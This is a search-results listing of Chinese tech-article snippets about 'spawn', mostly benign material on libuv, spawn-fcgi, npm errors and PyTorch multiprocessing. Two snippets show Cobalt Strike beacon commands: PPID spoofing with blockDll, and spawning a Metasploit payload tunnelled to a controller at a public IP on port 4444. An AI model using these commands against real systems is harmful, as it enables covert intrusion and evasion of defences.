首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏Khan安全团队

    SPAWN - Cobalt Strike BOF

    来自 ACG Protected Process 的 Popin' Calc beacon> spawn notepad.exe 6248 /Users/bobby.cooke/git/boku7/SPAWN /popCalc.bin [*] SPAWN (Bobby Cooke//SpiderLabs|@0xBoku|github.com/boku7) [+] Opened handle 0x534 to Spawn a process with a spoofed PPID and blockDll beacon> help spawn Synopsis: spawn cmd.exe 8264 [*] SPAWN (@0xBoku|github.com/boku7) Opened handle 0x634 to process 8264(PID) Success! .c -o spawn.x64.o 从 Cobalt Strike Beacon 控制台运行 编译后将 spawn.cna 脚本导入 Cobalt Strikes Script Manager beacon

    2.7K40发布于 2021-08-26
  • 来自专栏Khan安全团队

    Cobalt Strike Spawn & Tunnel

    beacon> help spunnel Use: spunnel [x86|x64] [host] [port] [/path/to/agent.bin] This is the spawn and Spawn an agent and create a reverse port forward tunnel to its controller. beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin [*] Tasked beacon to spawn msf.bin (x64) Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin [*] Tasked beacon to spawn msf.bin (x64)

    1.9K30编辑于 2021-12-29
  • 来自专栏纸上得来终觉浅

    libuv源码阅读(22)--spawn

    ; options.file = "mkdir"; options.args = args; int r; // fork 出子进程 if ((r = uv_spawn for current working directory. */ const char* cwd; /* * Various flags that control how uv_spawn This is not supported on * windows; uv_spawn() will fail and set the error to UV_ENOTSUP. */ union { uv_stream_t* stream; int fd; } data; } uv_stdio_container_t; 然后看下主要的函数: int uv_spawn sleep"; options.args = args; options.flags = UV_PROCESS_DETACHED; int r; if ((r = uv_spawn

    2.8K40发布于 2021-03-14
  • 来自专栏Java架构师必看

    spawn fcgi php 5.2,Ubuntu环境下php fastcgi(spawn-fcgi)的启动与关闭「建议收藏」

    今天说一说spawn fcgi php 5.2,Ubuntu环境下php fastcgi(spawn-fcgi)的启动与关闭「建议收藏」,希望能够帮助大家进步!!! 启动 spawn-fcgi -a 127.0.0.1 -p 9000 -C 10 -u www-data -f /usr/bin/php-cgi 说明: -a 127.0.0.1: PHP FastCGI 127.0.0.1:9000 127.0.0.1:58880 TIME_WAIT 如果出现了这样的提示就说明fastcgi正在运行 如果想查看pid的话可以用 ps -ef $ ps -ef | grep spawn-fcgiubuntu 27329 24796 0 02:50 pts/0 00:00:00 grep --color=auto spawn-fcgi 退出 $pkill -9 php-cgi 这个操作很危险。

    1.1K20编辑于 2022-07-25
  • 来自专栏全栈程序员必看

    spawn-fcgi原理及源代码分析

    spawn-fcgi是一个小程序,作用是管理fast-cgi进程,功能和php-fpm类似,简单小巧,原先是属于lighttpd的一部分。后来因为使用比較广泛。所以就迁移出来作为独立项目了。 本文介绍的是这个版本号“spawn-fcgi-1.6.3”。 只是从公布新版本号到眼下已经4年了,代码一直没有变动,需求少,基本满足了。另外php有php-fpm后。 非常久之前看的spawn-fcgi的代码。当时由于须要改一下里面的环境变量。今天翻代码看到了就顺手记录一下。就当沉淀.备忘吧。 用spawn启动FCGI程序的方式为:. spawn-fcgi代码不到600行,很简短精炼,从main看起。其功能主要是打开监听port,绑定地址。然后fork-exec创建FCGI进程。退出完毕工作。 再就是调用fcgi_spawn_connection创建FCGI进程,主要就是这2步。 int main(int argc, char **argv){ if (!

    2.4K10编辑于 2022-09-06
  • 来自专栏前端学习。

    运行vue项目时报Error: spawn xxxx ENOENT

    问题:npm run dev 运行项目时报 Error: spawn xxxx ENOENT image.png 原因: path环境变量配置不当,导致无法找到指定的程序,出现该问题的原因是因为没有将%

    2.6K20发布于 2021-03-21
  • 来自专栏前端学习。

    npm install 时关于spawn git 的问题

    装完系统吧,啥东西都需要重新安装,在我装好 VScode node 和 git 之后想要安装依赖运行项目的时候,报了这么一个错

    4.3K00发布于 2020-11-13
  • 来自专栏娱乐心理测试

    internalchild_process.js:313 Error:spawn EACCES

    vue项目运行时报错如图所示: 屏幕快照 2018-11-26 上午11.59.01.png 解决方案:chmod -R a+rwx /appfolder修改文件权限

    1.6K10发布于 2018-12-19
  • 来自专栏Elton的技术分享博客

    升级内核后spawn-fcgi无法启动

    第一反应就是起到php解析作用的spawn-fcgi没有启动起来。于是尝试再次手动启动。 但是发现怎么也启动不起来。 开始以为是因为升级内核引起的,于是退回以前的内核版本,结果一样。 始终无法启动spawn-fcgi的fastcgi服务。说明不是内核的问题。 检查Nginx日志和系统日志都没有什么有价值的信息。 在一筹莫展的时候,突然注意到启动spawn-fcgi的命令中包含了php-cgi这个命令。 会不会是php的问题呢。 后来手工直接执行,发现确实php有问题。 重新使用emerge -av php编译安装php后,终于可以启动spawn-fcgi了。 网站也一切正常了。

    1.7K20发布于 2021-01-26
  • 来自专栏小樱的经验随笔

    从 posix_spawn() 函数窥探漏洞逃逸

    posix_spawn() 函数是用来在Linux上创建子进程的,头文件是 #include <spawn.h> ,语法如下: #include <spawn.h> int posix_spawn(pid_t > #include <sys/wait.h> /* int posix_spawn(pid_t *pid, const char *path, const posix_spawn_file_actions_t 那我们既然已经知道了这一点,我们就可以尝试去 那么什么时候会调用 posix_spawn 函数? 由于 posix_spawn 函数是 C 语言中 system.c 创建线程默认调用的功能模块。 然后执行 system 模块中的 posix_spawn 函数 ? 最后调用当前的 shell ?

    1.9K00发布于 2020-02-12
  • 来自专栏Java架构师必看

    spawn-fcgi原理及源码分析「建议收藏」

    今天说一说spawn-fcgi原理及源码分析「建议收藏」,希望能够帮助大家进步!!! “spawn-fcgi-1.6.3”。 很久之前看的spawn-fcgi的代码,当时因为需要改一下里面的环境变量。今天翻代码看到了就顺手记录一下,就当沉淀.备忘吧。 用spawn启动FCGI程序的方式为:. spawn-fcgi代码不到600行,非常简短精炼,从main看起。其功能主要是打开监听端口,绑定地址,然后fork-exec创建FCGI进程,退出完成工作。 重要的是调用了bind_socket打开绑定本地监听地址,或者sock,再就是调用fcgi_spawn_connection创建FCGI进程,主要就是这2步。

    2.7K10编辑于 2022-07-25
  • 来自专栏学习之旅

    【知识】torchrun 与 torch.multiprocessing.spawn 的对比

    torchrun 和 torch.multiprocessing.spawn 都是在 PyTorch 中用于并行化和分布式训练的工具,但它们在使用场景和实现方式上有所不同。1. :通过 Python 代码调用,每个进程都是通过 multiprocessing.spawn API 启动的。 torch.multiprocessing.spawn: 通常用于单机多卡训练,不直接支持跨节点训练,更多的是集中在本地多个 GPU 上。5. 场景 2:资源管理与进程调度 torch.multiprocessing.spawn: 父进程直接管理子进程,若某个子进程崩溃,整个训练任务会直接终止(无容错)。 选择建议 如果是单机多卡训练,可以考虑使用 torch.multiprocessing.spawn

    76610编辑于 2025-04-09
  • 来自专栏又见苍岚

    错误 To use CUDA with multiprocessing, you must use the ‘spawn‘ start method 解决方案

    在 Linux 下多进程调用 CUDA 执行任务时可能会报错: To use CUDA with multiprocessing, you must use the ‘spawn‘ start method 问题原因 操作系统为 Linux 多进程调用程序 程序中需要调用 CUDA 调用多进程时使用的不是 spawn 模式 Linux 默认调用多进程的方法为 fork,参考之前的说明 在此种情景中为了保证 CUDA 进程的隔离仅能使用 spawn 模式运行多进程任务,如果没有使用则会报出上述错误 解决方案 需要强制 multiprocessing 使用 spawn 方法调用多进程 import multiprocessing multiprocessing.set_start_method('spawn') 参考资料 https://blog.csdn.net/qq_16792139

    2.7K30编辑于 2022-08-09
  • 来自专栏又见苍岚

    多卡训练 multiprocessing spawn 相关错误解决方案

    在多卡训练模型时,遇到一些multiprocessing中spawn模块相关的错误,本文记录相关内容及解决方案。 该方法有三种字符型的参数: spawn父进程会开启一个新的python解释器进程。子进程只会继承需要用来跑run方法的资源。更具体的,不需要的文件描述以及handles将不会被继承。

    3.1K20编辑于 2022-08-06
  • 来自专栏智慧协同

    用Hexo搭建静态博客出现spawn ENOENT的解决办法

    在用Hexo搭建静态博客的时候,deploy时出现如下错误: Error: spawn ENOENT at errnoException (child_process.js:980:11)

    1.5K50发布于 2019-06-13
  • 来自专栏技术进阶

    CGI、FastCGI、PHP-CGI、PHP-FPM、Spawn-FCGI 的区别

    (PHP-FPM和Spawn-FCGI就没有这个问题,守护进程会平滑从新生成新的子进程。) /configure的时候带 –enable-fpm参数即可开启PHP-FPM 什么是Spawn-FCGI Spawn-FCGI是一个通用的FastCGI管理服务器,它是lighttpd中的一部份,很多人都用 Lighttpd的Spawn-FCGI进行FastCGI模式下的管理工作,不过有不少缺点。 q=Spawn-FCGI ),但可以在以前版本中找到它。 .x/lighttpd-1.4.55.tar.gz 注:最新的Spawn-FCGI可以到lighttpd.net网站搜索“Spawn-FCGI”找到它的最新版本发布地址 PHP-FPM与spawn-CGI

    1.4K10编辑于 2021-12-24
  • 来自专栏壹种念头

    Unity基础教程系列(十二)——更复杂的关卡(Spawn,Kill,and Life Zones)

    Spawn Kill 和Life区域) 2.6 碰撞和缩放 这些gizmos似乎工作正常,但当你给一个区域一个不统一的比例时,就会出问题。我们可以用球体碰撞器尝试一下。 (Spawn zone 在default 层) 当SpawnZone生成形状时,让它将形状移动到自己的层。可以通过将layer属性从一个游戏对象复制到另一个游戏对象来完成。 ?

    2.3K51发布于 2020-10-30
  • 来自专栏PHP在线

    什么是CGI、FastCGI、PHP-CGI、PHP-FPM、Spawn-FCGI?

    (PHP-FPM和Spawn-FCGI就没有这个问题,守护进程会平滑从新生成新的子进程。) 什么是Spawn-FCGI Spawn-FCGI是一个通用的FastCGI管理服务器,它是lighttpd中的一部份,很多人都用Lighttpd的Spawn-FCGI进行 FastCGI模式下的管理工作 q=Spawn-FCGI ),但可以在以 前版本中找到它。 http://redmine.lighttpd.net/projects/spawn-fcgi ,最新版本是 http://www.lighttpd.net/download/spawn-fcgi-1.6.3 .tar.gz 注:最新的Spawn-FCGI可以到lighttpd.net网站搜索“Spawn-FCGI”找到它的最新版本发布地址 PHP-FPM与spawn-CGI对比测试 PHP-FPM

    3K90发布于 2018-03-08
  • 来自专栏全栈程序员必看

    ACE_Message_Queue和spawn实现(生产者消费者)(V2.00)

    此程序在控制台不停的输出递增数字,主要是内存不会泄露 用到了多线程、ACE_Message_Queue、ACE_Message_Block、ACE_Thread_Manager::instance()->spawn ACE_MT_SYNCH>* various_record_queue = new ACE_Message_Queue<ACE_MT_SYNCH>; ACE_Thread_Manager::instance()->spawn create_vairous_record), various_record_queue, THR_NEW_LWP | THR_DETACHED); ACE_Thread_Manager::instance()->spawn gener_array.cend(); ++citer) { (*citer)->open(); } ACE_Thread_Manager::instance()->spawn

    40920编辑于 2022-07-11
  • 来自专栏云微的一点分享

    MIT 6.828 操作系统工程 Lab5: File system, Spawn and Shell 笔记

    MIT 6.828 操作系统工程 Lab5: File system, Spawn and Shell 这篇是我自己探索实现 MIT 6.828 lab 的笔记记录,会包含一部分代码注释和要求的翻译记录 lib/spawn.c spawn库调用的代码框架。 success %08x %08x %08x %s\n", envid, write_size, o->o_fd->fd_offset, req->req_buf); return write_size; } spawn 我们实现spawn而不是 UNIX 风格 exec 因为spawn更容易以“外内核方式”从用户空间实现,无需内核的特殊帮助。

    79810编辑于 2023-02-24
领券